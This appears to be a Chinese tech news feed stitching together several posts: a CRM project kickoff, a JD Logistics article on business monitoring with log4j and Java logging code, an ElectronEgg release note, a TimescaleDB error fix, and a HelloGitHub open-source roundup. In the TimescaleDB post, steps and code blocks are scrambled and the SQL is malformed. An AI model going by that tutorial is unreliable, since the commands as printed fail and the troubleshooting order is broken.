「深圳分公司总经理杨小会」在讲话中表示,澳华集团2025年提出了清晰的三驾马车业务策略,力争未来5到10年做到两个行业第一。接下来,也将围绕战略去解构业务策略,最后落到组织流程及CRM系统中。此举是集团上下力出一孔构建澳华集团面向未来具有竞争力的营销体系。纷享销客作为澳华集团深思熟虑之后选择的CRM供应商,也将与澳华集团共乘这艘数字化的航空母舰,奔赴星辰大海,共创共赢。

席间,澳华集团营销中心高层及业务部门代表分别对项目的推动展开发言及目标共识的期待,重点阐述了数字化对客户管理、销售效率和营销精准度的提升作用,并纷纷表示了对数字化落地的积极态度,并承诺将全力支持项目的实施落地。

最后,「澳华集团董事长王平川」在讲话中特别指出,在激烈的市场竞争下,企业如何抢占先机,成为了摆在各条业务线总经理面前的重要课题。澳华集团团队已经明确CRM项目的落地,能够让澳华集团战略目标有抓手、经营推动有工具、员工激活有方法。结合管理诉求,就要建立直观的数字化经营管理指标体系,聚焦大客户经营目标,由“价值守护” 向“价值创造” 转型,助力澳华集团大客户增长再上台阶。

在强调科学管理和规范流程中,启动会现场通过庄重的仪式,任命了CRM项目负责人。项目成功推进的关键在于拥有一支专业且敬业的团队。此次任命涉及项目经理与项目保障组等核心成员,澳华集团高层领导出席并颁发聘书,象征着对过去努力的认可及对未来的期望。同时,为提升CRM项目组人员工作积极性,采取数字化工作评价及考核机制以确保项目高效高质量地落地。

公众2.png

<启动会图片>

by 纷享销客 at January 21, 2025 01:50 AM

juejin career

物流KA商家业务监控能力建设与实践

作者:京东物流 林群

一、背景

在常规的运维及线上故障响应实践中,我们观察到系统监控指标(System-Level Metrics)的异常波动往往与业务监控指标(Business-Level Metrics)的异常呈现高度相关性。具体而言,当系统级监控指标出现异常时,业务级监控指标在绝大多数情况下亦会表现出异常状态。然而,反之则不然,即业务级监控指标的异常并不总是伴随着系统级监控指标的同步异常。

此种现象导致相关职能团队(包括研发、测试、运营等)在业务异常的感知上存在显著滞后性。具体表现为,业务异常的发现往往依赖于终端用户的事后反馈,而非通过实时监控体系的前置预警。这种滞后性可能意味着在问题被识别之前,业务已遭受大范围的负面影响,或已逼近其服务能力的临界阈值,从而对物流的运营稳定性和用户体验造成严重损害。

二、业务监控方案

通用数据监控流程如下图,从埋点输出数据,再到采集数据通过计算聚合得到各项指标,最后根据指标配置阈值进行告警规则设置和通过各类面板进行指标展示。





截止到目前集团内部DevOps平台建设过3个通用的业务监控应用,分别是UMP业务监控、PFinder业务监控和泰山业务监控,KA商家服务在这三个平台都有过一些案例实践,下面分别进行介绍。

2.1、UMP业务监控

UMP的业务监控建设的时间最早,现在也已下线。





但原有已接入的业务监控还在继续运营,比如KA商家服务的一个应用





关于这个应用基于UMP业务监控的实践场景可以参考《记一次大库大表的治理过程》的4.3章节。

2.2、PFinder业务监控



在快运导单业务流程中,一旦包裹数量超出设定阈值,相关订单便会自动迁移至单独的导单分组,由独立机器集群通过限流机制进行处理。在单子转移过程,基于PFinder的业务监控能力进行了埋点追踪,对事业部包裹数量进行统计,实时监控单位时间内的包裹总数,对触发阈值进行告警机制,提前感知系统压力,及时监控系统指标压力。

监控展示如下:





告警规则配置:





告警效果:





2.3、泰山业务监控

泰山业务监控是当前KA商家服务使用场景和业务覆盖最广的,也是本篇要重点介绍的业务监控平台,下面从统一日志格式、编码实践、数据可视化、业务监控告警和最佳实践分别进行介绍。

二、统一日志

2.1、日志格式

针对KA商家的业务特点和应用场景对日志的输出格式进行了统一规范;

•业务域和业务子域:这两个字段按照集团业务域对每个应用进行定义;

•业务场景:指单据的类型,比如下单、取消、修改和回传等;

•渠道来源:指请求的渠道来源,比如JOS、EDI、物流网关、WMS等;

•商家编码和青龙业主号或事业部编码:这是重点,因为KA商家需要按照事业部或商家维度进行监控

•密度:指一次请求的单量;

•结果(Y/N):Y表示成功、N表示失败(业务层面);

•结果码和结果码描述:指一级结果码,大的分类;

•结果子码和结果子码描述:指二级结果码,细的分类;

•商家单号:指商家下传的唯一值;

•订单号和运单号:指业务成功后京东内部生成的各类单号,非固定字段,由各应用各接口自定义;

|业务域|业务子域|业务场景|渠道来源|商家编码|青龙业主号或事业部编码|密度|结果(Y/N)|结果码|结果码描述|结果子码|结果子码描述|商家单号|订单号|运单号

2.2、举个例子

下面分别举一个业务成功和失败的例子,重点在于ECP、EBU、Y/N。

成功:
|订单域|销售出|下单|50|ECP|EBU|1|Y|200|success|200|success|T20240704000086|ESL1230989|JDV002323
失败:
|订单域|退供出|下单|70|ECP|EBU|1|N|4007|fail|3-01-11020|可销售库存不足|T20240704000086||

三、编码实践

3.1、log4j文件配置

在log4j的xml配置文件里,通常都有patternLayout格式化输出的前缀,复用就可以

<property name="patternLayout">%d{yyyy-MM-dd HH:mm:ss.SSS}-%X{PFTID}-%-5p - [%t] %c -%m%n</property>

里添加RollingRandomAccessFile

<RollingRandomAccessFile name="businessFile" fileName="${log_path}/eclp-biz-eclp-isv-business.log"
                         filePattern="${log_path}/eclp-biz-eclp-isv-business-%i.log">
    <PatternLayout charset="UTF-8" pattern="${patternLayout}"/>
    <Policies>
        <SizeBasedTriggeringPolicy size="1GB"/>
    </Policies>
    <DefaultRolloverStrategy max="5"/>
</RollingRandomAccessFile>

里设置AsyncLogger的AppenderRef

<AsyncLogger name="BusinessLogger" level="INFO" additivity="false" includeLocation="false">
    <AppenderRef ref="businessFile"/>
</AsyncLogger>

3.2、业务日志打印

在代码需要业务监控日志埋点的类文件里定义业务日志Logger

/**
 * 业务日志
*/
private static final Logger blogger = LoggerFactory.getLogger("BusinessLogger");

Logger打印日志

blogger.info("|订单域|销售出|下单|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}",
        order.getSourceChannel(), order.getShopNo(), order.getDepartmentNo(), 1,
        result, code, message, subCode, subMessage,
        order.getIsvUUID(), context.getPin(), soNo);

业务逻辑埋点打印业务日志

protected void doProcess(ProcessorContext processorContext) throws Exception {

    OrderContext context=buildOrderContext(processorContext);

    try {
        String soNo = isvSoReceiveService.transportOrder(context);
        processorContext.setAttachment(IsvProcessorConstant.PRCS_RTN_ORD_TRANSPORT_SO_NO, soNo);
        processorContext.setAttachment(IsvProcessorConstant.PRCS_RTN_SO_IS_REPEAT_ORDER, context.isRepeatOrder());
        processorContext.setAttachment(IsvProcessorConstant.PRCS_RTN_ORD_CREATE_SUCC_MSG, context.getCache(CachedKeyConstants.ORDER_CREATE_SUCCESS_ATTACH_MSG, String.class));
        processorContext.setBizNo1(soNo);
    } catch (Exception e) {
        printBusinessLog(context, e);
        throw e;
    } finally {
        fillLogContext(context, processorContext);
    }

    printBusinessLog(context, null);

}

业务日志打印方法

protected void printBusinessLog(OrderContext context, Exception e) {
    String result = "Y";
    String code = "200";
    String message = "success";
    String subCode = "200";
    String subMessage = "success";
    String soNo = "";

    Order order = context.getOrder();

    if (e == null) {
        soNo = order.getSoNo();
    } else {
        result = "N";
        if (e instanceof JdlOpenException) {
            JdlOpenException jdlOpenException = (JdlOpenException) e;
            code = jdlOpenException.getCode();
            message = jdlOpenException.getMessage();
            subCode = jdlOpenException.getSubCode();
            subMessage = jdlOpenException.getSubMsg();
        } else if (e instanceof SafJosException) {
            SafJosException safJosException = (SafJosException) e;
            code = "4001";
            message = safJosException.getMessage();
            subCode = safJosException.getCode();
            subMessage = safJosException.getZhMsg();
        } else {
            code = "4002";
            message = e.getMessage();
            subCode = "";
            subMessage = "";
        }
    }

    blogger.info("|订单域|销售出|下单|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}|{}",
            order.getSourceChannel(), order.getShopNo(), order.getDepartmentNo(), 1,
            result, code, message, subCode, subMessage,
            order.getIsvUUID(), context.getPin(), soNo);
}

3.3、日志文件

输出的日志文件





四、数据可视化

4.1、监控项

按照泰山业务监控配置日志文件各字段取值,对下单的业务监控配置后效果如下:





4.2、监控大盘

在泰山监控大盘里配置KA商家重点事业部的分钟级监控,每个事业部一个表格,可以直观实时了解各事业部下单情况。









下图是针对某个事业部的单独监控大盘配置,成功率和失败数以图形的方式放在左边,可以直观感受到业务变动情况;每一分钟的下单量以表格的形式放在中间,便于准确了解分钟级的单量;最后观测周期内的下单结果放在右边,有助于知悉周期内的异常情况。





五、业务监控告警

5.1、成功率告警

根据每个事业部的下单规律合理配置告警阈值,比如某个事业部剔除库存不足的业务失败场景后还有其他业务失败,无法一一剔除,故配置成功率连续2次低于50%触发告警。





5.2、单量突增/突降

由于单个事业部流量不均,在初期单量突增或突降的规则阈值调整过程中频繁触发告警









在对某个事业部不断调整后,下单量突降配置如下,通过同比昨日和同比上周来避免单日的流量不均来减少告警触发次数,再根据总量超过一定单量来避免单量偏小情况下的阈值波动过大的场景;

单量突降告警规则配置:





单量突增告警规则配置:







六、最佳实践

6.1、商家搬仓

在业务监控初期,GOC大盘的巡检过程中发现A商家的推单成功率极低,平均只有1%是成功的,通过联系前端业务跟商家反馈,商家表示商品正在切仓,待切换完成后会停用旧SKU的下单。









下午再次巡检的时候该商家的推单已恢复到正常状态。





6.2、重复下单

B商家不定时会有大量的下单失败,报错原因都是:重复提交,通过反馈业务咨询商家的下单场景,了解到的该商家是业务从商家侧拿到文件上传至FTP某个目录下,EDI定时拉单,如果其中有个别单子因为某些原因下单失败的话,业务暂无法从单子列表中筛选出来,只能将原文件重复上传让异常单重试下单,这时候已下单成功的单子就会出现“重复提交”的报错信息。





6.3、库存不足

C商家的下单成功率一直不高,基本都在70%左右,大量的失败原因都是:库存不足,经过抽查部分单子,发现商家会不停的重试,在最后有库存的情况下都会下单成功,同样通过业务了解到商家的下单逻辑是:商家有2B和2C两个仓,商品通过采购入库单进入到2B仓,再通过调拨入到2C仓,所以存在一定的时间差会出现库存不足,待商品调拨到2C仓,经过不断地重试就能下单成功和正常出库。

















6.4、事业部切换

在大促开门前的某一天,D商家突发严重告警,下单成功率跌至0%且有很大的单量,紧急排查日志发现失败原因是基础数据归属事业部错误,通过业务联系商家,反馈是商家在做事业部切换,当前推单失败的单子待切换后会进行再次推送。





6.5、商品等级调整

上面的C商家的2B仓,成功率一直在100%,2B业务单量少,因此经过优化后配置的告警阈值是连续2次小于50%,在某一天突发严重告警,同一个单子连续请求了2次,因为库存不足触发了告警规则,业务反馈商家在操作某个商品的等级调整导致原需要出库的商品等级库存不足。





6.6、外部接口超时

E商家的O2O下运单业务,因为商家用的是腾讯地图GIS信息,需要咱们去转换成内部的GIS信息,在调用腾讯地图的API时会偶发超时,如果多次失败需要研发介入排查是否有系统异常还是日常的超时原因导致的。









6.7、OAID校验失败

F商家突发成功率严重告警,经过排查是因为OAID校验失败导致的,OAID是用来校验收货人信息的,推测是C端用户修改了收货人信息但商家系统未及时更新导致推送给物流的OAID校验失败,通过业务联系商家,反馈确实是收货人信息有更新,商家调整系统后重推单子成功下单。





6.8、揽收时间校验失败

G商家将老单子重推送给物流,所以揽收时间都是在当前时间之前,推单失败。









6.9、入参错误

常见的商家入参错误,反馈商家确认商家系统是否有异常情况。





6.10、上游流量异常

1.6号突发单量下降严重告警,通过总量查看确实在18点~18点45分期间上游单量下降很多,待触发告警后去排查的时候单量已恢复正常值,联系上游反馈系统正常,总单量无变化,其实这里是留有疑问的,如果系统正常的话是不会出现单量突增和突降的情况。









在第二天更晚些时间,此监控告警再一次触发告警阈值,而且在排查和反馈的时候未恢复至正常值,此时上游反馈系统有异常,存在上线情况,正在回滚中。





可以看到在回滚后上游下发的单量有一个突增,然后恢复正常。





七、写在最后

在过去的这段日子里,我们全力投入到业务监控能力的构建和实践中。如今,我们欣喜地看到,物流大部分的KA商家都已成功搭建起了独立的业务监控面板。

随着不断优化的告警规则,我们可以第一时间感知并解决商家问题,确保技术和业务的同步。

然而,业务监控只是手段,而非最终目标。我们的真正使命是提升系统的可用率,进而保障商家的使用体验。

作为服务于京东物流KA商家的技术BP,KA商家研发组将继续坚定地走在这条大道上,不断探索与前行,以确保每一位KA商家都能享受到最佳的服务体验。

by 京东云开发者 at January 21, 2025 01:45 AM

oschina news project

ElectronEgg V4.0.0 正式发布,全新的开发体验

重大更新

v4 版本 重构了框架核心,提供更好的开发体验、加密、ts支持、热重载、代码优化、结构调整等。为以后框架的发展奠定了坚实的基础,推荐升级。

值得信赖

框架已经广泛应用于记账、政务、企业、医疗、学校、股票交易、ERP、娱乐、视频等领域客户端,请放心使用!

开源

gitee:https://gitee.com/dromara/electron-egg 5300+

github:https://github.com/dromara/electron-egg 2000+

本次更新

  1. 【增加】ee-core 增加 ts 支持,添加类型定义
  2. 【优化】ee-core 重构代码,提供更标准的api
  3. 【优化】ee-core 增加app模块,新的框架启动流程
  4. 【优化】ee-core config 重写配置加载逻辑
  5. 【优化】ee-core controller 重写控制器加载逻辑
  6. 【优化】ee-core core 精简 core 模块,去除冗余的代码和功能
  7. 【优化】ee-core electron 重写功能,提供 api
  8. 【优化】ee-core jobs 优化
  9. 【优化】ee-core loader 去除冗余的方法
  10. 优化】ee-core log 优化
  11. 【增加】ee-core ps 去除有歧义的 api,新增 appVersion、getDataDir、getBundleDir、getBaseDir、getUserHomeDir、getUserHomeAppDir、getUserHomeHiddenAppDir
  12. 【优化】ee-core socket 优化
  13. 【优化】ee-core storage 去除 jsondb, sqlitedb修改存储路径和类型支持
  14. 【优化】ee-core utils 优化
  15. 【增加】ee-bin 新增 ts 支持,添加 esbuild 构建工具
  16. 【增加】ee-bin 新增对前端代码加密
  17. 【优化】ee-bin 优化 热重载功能
  18. 【优化】ee-bin 修改配置文件
  19. 【优化】ee-bin 优化 build 功能
  20. 【优化】ee-bin 修改 move 命令
  21. 【升级】ee-bin@4.0.0 & ee-core@4.0.0
  22. 【升级】node@20.16.0 & electron@31.7.6

使用场景

1. 常规桌面软件 
windows 平台 - demo

macOS 平台 - demo

linux 平台 - 国产 UOS、Deepin - demo

linux 平台 (ubuntu) - demo

2. vue、react、web 转换成桌面软件
vue-ant-design(本地)

禅道项目管理(web 项目地址)

用户案例    

    

更多案例
    访问官网:electron-egg: 一个入门简单、跨平台、企业级桌面软件开发框架

by 来源: 投稿 at January 21, 2025 01:32 AM

juejin career

解决 PostgreSQL 中创建 TimescaleDB 扩展的字符串错误

在使用 PostgreSQL 数据库并尝试创建 TimescaleDB 扩展时,你可能会遇到一些棘手的错误。今天,我们就来探讨一个常见的错误信息及相应的解决方法:

CREATE EXTENSION IFNOTEXISTS timescaledb;
错误:  在字符串常量中使用\不安全
提示:  使用''在字符串中表示引号,在只有客户端使用的编码中使用\'不安全.

一、错误分析

当你在 PostgreSQL 中执行 CREATE EXTENSION IF NOT EXISTS timescaledb; 这条看似普通的命令时,却收到了上述错误消息,这可能会让你感到困惑。其实,这个错误并非一定是这条命令本身的问题,而是可能与你执行此命令时的上下文环境相关。

错误的真正源头

  • 该错误提示表明在字符串常量中使用 \ 是不安全的,并且在仅客户端使用的编码中使用 \' 来表示字符串中的单引号也存在问题。但 CREATE EXTENSION IF NOT EXISTS timescaledb; 本身并不包含会引发该错误的字符,所以很可能是在执行此命令前执行的其他 SQL 语句中,对字符串的处理出现了问题。
    经过调研其实是背后执行的timescale插件sql中包含,需要经所有语句中\' 替换为''

image.png

可能的情况

  • 比如,在之前的 SQL 语句中,你可能错误地使用了单引号。例如:
SELECT'This is a string with an error: \' inside';

在这个例子中,单引号的使用是错误的,因为 SQL 会混淆这个字符串的界定,导致解析错误。

二、解决方法

1. 检查之前的 SQL 语句

  • 首先,你需要回顾在执行 CREATE EXTENSION IF NOT EXISTS timescaledb; 之前的 SQL 语句。仔细检查这些语句中是否存在对字符串使用单引号不当的情况。

  • 正确的做法是使用 '' 来表示字符串中的单引号。例如,将上述错误的语句修改为:

SELECT'This is a string with an error: '' inside';

这样,使用两个单引号 '' 表示一个单引号字符,能确保 SQL 引擎正确解析字符串。

2. 清理或重新连接

  • 如果你发现之前的 SQL 语句确实存在问题,可以采取以下措施来清除错误状态:``` \r

    psql -U your_username -d your_database -h your_host -p your_port
    
    ```其中,`your_username` 是你的数据库用户名,`your_database` 是要连接的数据库名称,`your_host` 是数据库服务器的主机名或 IP 地址,`your_port` 是数据库的端口号。输入密码后,你将重新连接到数据库,这可以帮助你摆脱之前的错误状态。
    
    
    
  • 另一种方法是关闭并重新打开 psql 会话,重新连接到 PostgreSQL 数据库。你可以使用以下命令进行连接:

  • psql 环境中,可以使用 \r 命令来重新设置输入缓冲区,清除之前的错误语句:

3. 检查 PostgreSQL 配置和环境

  • 除了检查之前的 SQL 语句,你还需要确保 PostgreSQL 的配置和环境是正确的。``` SHOW shared_preload_libraries;

    
    
    
  • 同时,确保 timescaledb 相关的文件路径在环境变量中正确设置。在 Windows 系统中,要检查系统的 Path 变量是否包含 timescaledb 的安装目录路径,这对于 PostgreSQL 找到 TimescaleDB 的库文件至关重要。

  • 对于 Windows 系统,检查 postgresql.conf 文件中的配置,尤其要注意 shared_preload_libraries 等重要配置项。确保其设置正确,以保证 TimescaleDB 扩展能够正常创建和使用。

  • 对于 Linux 系统,你可以使用以下 SQL 命令查看 shared_preload_libraries 的设置:

4. 再次尝试创建扩展

  • 完成上述步骤后,重新连接到 PostgreSQL 数据库,再次尝试创建 TimescaleDB 扩展:

image-1.png

CREATE EXTENSION IFNOTEXISTS timescaledb;

三、总结

遇到错误是数据库操作中的常见情况,但通过仔细分析错误信息和逐步排查,我们可以找到问题的根源。在这个案例中,重点是要检查字符串处理是否正确,并确保 PostgreSQL 的配置和环境符合要求。希望这篇文章能帮助你解决这个问题,让你顺利创建 TimescaleDB 扩展,充分发挥 PostgreSQL 与 TimescaleDB 的强大功能。如果你还有其他数据库相关的问题,欢迎在评论区留言,我们一起探讨和解决!

資源

綠色版下載地址:www.enterprisedb.com/download-po…
pg和tsdb兼容説明:docs.timescale.com/self-hosted…

图片

本文使用 文章同步助手 同步

by 东百牧码人 at January 21, 2025 01:15 AM

juejin freebie

盘点!HelloGitHub 年度热门开源项目

春节将至,HelloGitHub 也迎来了年终盘点时刻。这是一份送给开源爱好者的“年终盛宴”,期待你在这里发现更多值得关注的开源佳作。

为了满足不同读者的需求,我精心准备了这期超长内容,并将其分为 年度十佳分类精选 两个部分,方便大家阅读。

  1. 年度十佳:HelloGitHub 上最受欢迎的 10 个开源项目(精简)
  2. 分类精选:根据 C/C++、Go、Java、JavaScript、移动端、Python、Rust、人工智能、书籍/教程、其它等类别,整理出 50 个优秀的开源项目(全面)

接下来,请尽情享受这份来自 HelloGitHub 的春节礼物~

一、年度十佳

这里是 HelloGitHub 2024 年度最受欢迎的 10 个开源项目,筛选和排序是综合了用户的浏览、点赞、收藏和评论等数据,用户的选择才是最真实的衡量标准!

HelloGitHub 开源社区 现已支持生成和佩戴「HelloGitHub 徽章」,佩戴后可享受更多社区的推荐与权益。

1、让你上瘾的英语学习网站

这是一个开源的在线学习英语网站,支持自托管和本地运行。它采用连词成句、循序渐进的方法帮你学习英语。通过不断地重复形成肌肉记忆,并结合游戏奖励和积分排名的方式,让背单词变得有趣且高效。

用户评价:相当好用,根本停不下来。

GitHub 地址→github.com/cuixueshe/e…

2、GitHub 网站汉化插件

该项目可以将 GitHub 网站的菜单栏、标题、按钮等公共组件,自动翻译成中文,适合刚接触 GitHub 的小白使用。

用户评价:实在是不错的插件。

GitHub 地址→github.com/maboloshi/g…

3、优化 bilibili 网站界面的浏览器插件

这是一个第三方的 B 站浏览器插件,通过优化 bilibili 网站的界面来提升用户体验,支持 Chrome、Edge 和 Firefox 浏览器。

用户评价:很好,比原版页面设计清晰很多!推荐使用。

GitHub 地址→github.com/BewlyBewly/…

4、轻量级的 AI 证件照制作工具

这是一款简单易用的 AI 证件照制作工具,能够生成标准证件照和六寸排版照。它提供了简洁的 Web 界面和 API 服务,即使在没有 GPU 的电脑上也能够运行,支持抠图、尺寸调整和自定义底色等功能。

用户评价:很好用,感谢开源。

GitHub 地址→github.com/Zeyi-Lin/Hi…

5、全平台通用的换源工具

该项目能够为常见的 Linux 发行版、编程语言和软件切换至国内镜像源,操作简单仅需一条命令。它采用 C 语言编写,具有高效和轻量级的特点,支持测速、多平台以及项目级换源等功能,适用于优化下载速度或解决源受限的场景。

用户评价:好用,能省不少功夫。

GitHub 地址→github.com/RubyMetric/…

6、开源的文字修仙游戏

这是一个基于 Vue.js 开发的修仙模拟器,互动式的文字游戏,适合喜欢放置类和修仙题材游戏的玩家。

用户评价:摸<・)))><<。

GitHub 地址→github.com/setube/vue-…

7、游戏修改器管理工具

这是一款强大的游戏修改器管理工具,支持搜索、下载、启动、导入和更新游戏修改器等功能。

用户评价:个人感觉非常不错,简洁明了,不需要什么扫码登录。

GitHub 地址→github.com/dyang886/Ga…

8、跨平台的 frp 桌面客户端

该项目是内网穿透工具 frp 的桌面客户端,更方便地实现内网穿透。它开箱即用、界面清爽,支持开机启动、多用户、配置导入和导出等功能,适用于 Windows、Linux 和 macOS 平台。

用户评价:有一说一,用了这么久内网穿透的工具,你这个是最好用。最简单明了的工具,点个赞👍

GitHub 地址→github.com/luckjiawei/…

9、提取微信聊天记录的工具

该项目能够将 Windows 上的微信聊天记录,导出成 HTML、Word、Excel 和 txt 等格式的文档。导出的 HTML 文档,还原了微信聊天界面,而且包含文本、图片、视频、表情包、语音、文件、转账等记录,导出的数据可用于永久保存、生成年度报告和训练个人聊天助手。

用户评价:很赞,良心之作。

GitHub 地址→github.com/LC044/WeCha…

10、高颜值的 ChatGPT/LLM 聊天应用

该项目是由一群热情洋溢的设计工程师开发的 ChatGPT/LLM 聊天应用,它拥有极高的颜值、点开即用,支持语音对话、视觉识别、文生图、插件市场、移动端适配和多用户管理等功能,可接入多种模型服务商和本地大语言模型。

用户评价:设计师打造,颜值高,体验好,一键轻松部署,值得拥有。

GitHub 地址→github.com/lobehub/lob…

这次的年度十佳开源项目,上榜的大多数都是佩戴了 HelloGitHub 徽章的优秀开源项目,快来为你的项目生成专属徽章,期待明年的十佳榜单上能有你的身影!

二、分类精选

看完年度十佳还不过瘾?嘿嘿,那些只是前菜,接下来才是正餐。

下面是我从其余的 600 多个开源项目中,精心挑选并参考月刊分类整理出的精选开源项目,共计 50 个,保证让你大快朵颐!

C/C++ 项目

1、Shell:强大的 Windows 上下文菜单管理工具。这项目是一个用于管理 Windows 文件资源管理器上下文菜单的程序。简单来说,就是扩展了 Windows 右键菜单的功能。该工具免费、开源、无广告、轻巧,支持所有文件系统对象,如文件、文件夹、桌面和任务栏。它提供了一系列提升效率的功能,包括拷贝文件地址、快速打开目录、终端打开、自定义外观以及复杂的嵌套菜单等。

2、stellarium:一款开源的天象模拟软件。该项目是天文爱好者必备神器,它能够精确地模拟/展示出头顶星空的景象,包括恒星、星座、行星、彗星等天体,支持选择时间和地点、放大观察、图解星座等功能,提供了 Windows、Linux、macOS、iOS 和 Android 在内的多个平台客户端。

3、genann:C 语言写的极简神经网络库。这是一个轻量、无依赖、单文件的 C 语言神经网络库,内含丰富的示例和测试。代码简洁易读,适合作为初学者学习神经网络的入门项目。

#include "genann.h"

/* Not shown, loading your training and test data. */
double **training_data_input, **training_data_output, **test_data_input;

/* New network with 2 inputs,
 * 1 hidden layer of 3 neurons each,
 * and 2 outputs. */
genann *ann = genann_init(2, 1, 3, 2);

/* Learn on the training set. */
for (i = 0; i < 300; ++i) {
    for (j = 0; j < 100; ++j)
        genann_train(ann, training_data_input[j], training_data_output[j], 0.1);
}

/* Run the network and see what it predicts. */
double const *prediction = genann_run(ann, test_data_input[0]);
printf("Output for the first test data point is: %f, %f\n", prediction[0], prediction[1]);

genann_free(ann);

4、kyanos:深入内核的网络流量分析工具。这是一个基于 eBPF 的网络问题分析工具,能够实时监控和分析 HTTP、Redis 和 MySQL 请求。它支持强大的流量过滤功能,可根据进程、容器、协议信息和耗时等条件进行精确过滤,并提供多维度聚合抓取的数据包信息,适用于排查远程服务慢查询等网络性能问题。

5、libcimbar:利用摄像头传输文件的工具。该项目提供了一种新颖的数据传输方式,通过显示条形码并使用摄像头进行传输,无需网络或蓝牙连接。它使用 C++ 编写,并依赖 OpenCV 和 GLFW 等库,内置的编码器可以生成类似二维码的动态动画,用户在手机上安装解码应用后,通过摄像头扫描即可成功接收数据,传输文件的最大限制为 33 MB。

Go 项目

6、superfile:非常漂亮的终端文件管理器。这是一个现代终端文件管理器,为命令行文件操作提供了一个直观且漂亮的界面。它默认采用 Vim 风格的快捷键操作,还支持插件和主题自定义。

7、vfox:无忧应对多编程语言不同版本的工具。这是一款跨平台的通用版本管理工具,通过命令行快速安装、切换编程语言的不同版本,并支持自定义源地址。相比于针对每种语言的独立版本管理工具(如 nvm、fvm、gvm 等),这个项目让开发者摆脱繁琐的学习和记忆过程,只需一个工具、一条命令,轻松搞定多编程语言版本管理。

8、neko:多功能的虚拟浏览器工具。该项目是运行在 Docker 容器中的自托管虚拟浏览器环境,为用户提供安全、隔离和功能齐全的虚拟浏览器。此外,它还支持在线共享浏览器和实时互动演示,具备多人访问、管理员用户、文本聊天和双向文件传输等功能。

9、devzat:程序员专属的 SSH 聊天室。这是一个通过 SSH 连接的聊天室,用户无需安装客户端,仅需一条 SSH 命令即可登录。它支持私人消息、多聊天室、图片和代码高亮等功能,还可以集成第三方服务、自托管 SSH 聊天室。

10、restic:强大的开源备份工具。该项目提供了简单、快速、安全的开源备份解决方案。它无需繁琐的配置,即可轻松完成备份和恢复操作。采用增量备份策略,备份数据经过加密和压缩处理,保障数据安全且节省空间,支持灵活的存储选择,包括本地磁盘和云存储。可设置自动备份时间,确保数据得到定期的备份保护。

$ restic --repo /tmp/backup backup ~/work
enter password for repository:
scan [/home/user/work]
scanned 764 directories, 1816 files in 0:00
[0:29] 100.00%  54.732 MiB/s  1.582 GiB / 1.582 GiB  2580 / 2580 items  0 errors  ETA 0:00
duration: 0:29, 54.47MiB/s
snapshot 40dc1520 saved

Java 项目

11、JSqlParser:解析 SQL 语句的 Java 库。该项目可以读取 SQL 语句,并分解成结构化的 Java 对象,实现用 Java 代码解析或动态生成 SQL 语句,支持 SQL 标准和主流的关系型数据库。

12、spring-startup-analyzer:优化 Spring 应用启动性能的工具。该项目利用采集 Spring 应用启动过程数据,生成交互式分析报告,为开发者提供了分析 Spring 应用启动性能的工具。其主要功能包括分析启动卡点、处理 Spring Bean 异步初始化,以及显示应用未加载的 jar 包、方法调用次数和耗时统计等详细信息。

13、1brc:挑战 Java 处理 10 亿行文本的最快速度。这是一个有趣的 Java 编程挑战,要求开发者编写一个 Java 程序,读取包含多个气象站温度值的文件(10 亿行),然后计算每个气象站的最小、平均和最大值,最后按照站点名称排序后输出,目前最快速度不到 2 秒。

14、blossom:私有部署的云端双链笔记软件。这是一个支持私有部署的云端存储双链笔记软件,可以将你的所有笔记、图片、个人计划安排保存在私有服务器上,并实现跨设备的实时同步。它提供 Markdown 编辑、双链笔记、全量备份、网页转换、多账号权限和统计等功能,兼容 Windows、macOS 和网页客户端。

15、CompreFace:免费、开源的人脸识别系统。该项目提供了用于人脸识别、检测、验证、头部姿势检测、性别和年龄识别的 REST API 服务,不用懂机器学习就能轻松集成到任何系统中。它后端采用 Java 编写,人脸识别是基于 FaceNet 和 InsightFace 实现,同时支持 Docker 部署。

JavaScript 项目

16、chartdb:一键生成数据库图表的工具。这是一款基于 Web 的数据库表编辑器,无需数据库密码,仅需提供一条 SQL 查询结果即可导入数据库表和结构。用户可以通过直观、交互式的界面编辑和导出建表 SQL。它支持 PostgreSQL、MySQL、SQL Server、SQLite、ClickHouse、MariaDB 数据库,适用于数据库迁移和优化过程中,快速生成和调整 DDL 脚本等场景。

17、soybean-admin:清新优雅的 Vue3 管理后台模板。该项目是采用 Vue3、Vite5、Pinia 和 UnoCSS 等技术栈构建的管理后台模板,它不仅拥有漂亮的界面,还有清晰的项目结构、严格的类型检查、统一的代码规范,内置丰富的主题配置、国际化方案、页面组件,并且支持移动端。

18、tsparticles:立刻给网站安排上动画背景的库。该项目可用于创建高度可定制的 JavaScript 粒子效果,比如雪花、彩带和烟花效果等。虽然它是一个独立库、不依赖其他库或框架,但项目内提供了 React、Vue、Angular、Svelte、jQuery 等框架的现成组件,以便于快速集成到项目中。

19、excalidraw:手绘风格的白板 Web 应用。这是一款完全免费、开源的基于无限画布的白板 Web 应用,用户可以在上面创建手绘风格的作品。支持包括中文在内的多种语言,提供了自由绘制、多种工具、导出 PNG、实时协作、共享链接、自动保存等功能。

20、bruno:无需登录、免费的 API 客户端。这是一款仅限离线使用(无需登录)的 API 客户端桌面工具,可用来测试和请求 API。它不同于日益臃肿、同类型的 Postman 等工具,你可以直接在本地管理接口信息和数据,没有杂七杂八的账号管理、代理请求、云同步等功能,简单直接、开箱即用的 API 客户端,适用于 Windows、macOS 和 Linux 操作系统。

客户端项目

21、anx-reader:免费的 Android 电子书阅读器。这是一款用 Flutter 编写的电子书阅读软件,它免费且没广告,支持 WebDAV 同步电子书、笔记和阅读进度,适用于 Android 手机和平板电脑。

22、pilipala:开源的 bilibili 第三方客户端。该项目是用 Flutter 开发的 B 站第三方客户端,支持 Android 和 iOS 平台。它提供了推荐视频列表、热门直播、番剧、离线缓存、回复评论、弹幕和搜索等功能。

23、proxypin:一款支持多端的免费抓包工具。该项目是采用 Flutter 开发的抓包工具,可用于拦截、检查和重写 HTTP(S) 流量。它支持扫码连接、域名过滤、请求重写等功能,适用于 Windows、macOS、Linux、Android 和 iOS 平台。

24、Itsycal:可爱的 Mac 菜单栏日历。这是一个迷你的菜单栏日历工具,拥有可爱的界面和实用的功能。支持显示/添加系统日历的事件、深色模式、周数、快捷键等功能,适用于 macOS 11+ 系统。

25、ImageToolbox:Android 的多功能图像编辑工具。这是一款专为 Android 设计的图像编辑工具。它完全免费,支持批量处理、滤镜、背景移除、尺寸调整和裁剪等多种功能。

Python 项目

